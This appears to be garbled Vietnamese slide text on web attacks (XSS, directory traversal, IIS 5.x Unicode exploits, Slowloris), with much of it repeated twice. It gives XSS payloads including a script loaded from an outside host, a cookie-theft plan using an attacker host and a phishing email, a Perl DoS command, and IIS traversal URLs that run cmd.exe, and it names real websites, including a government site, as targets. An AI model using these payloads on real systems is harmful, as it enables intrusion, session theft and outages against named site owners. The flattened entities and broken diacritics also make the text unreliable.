B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
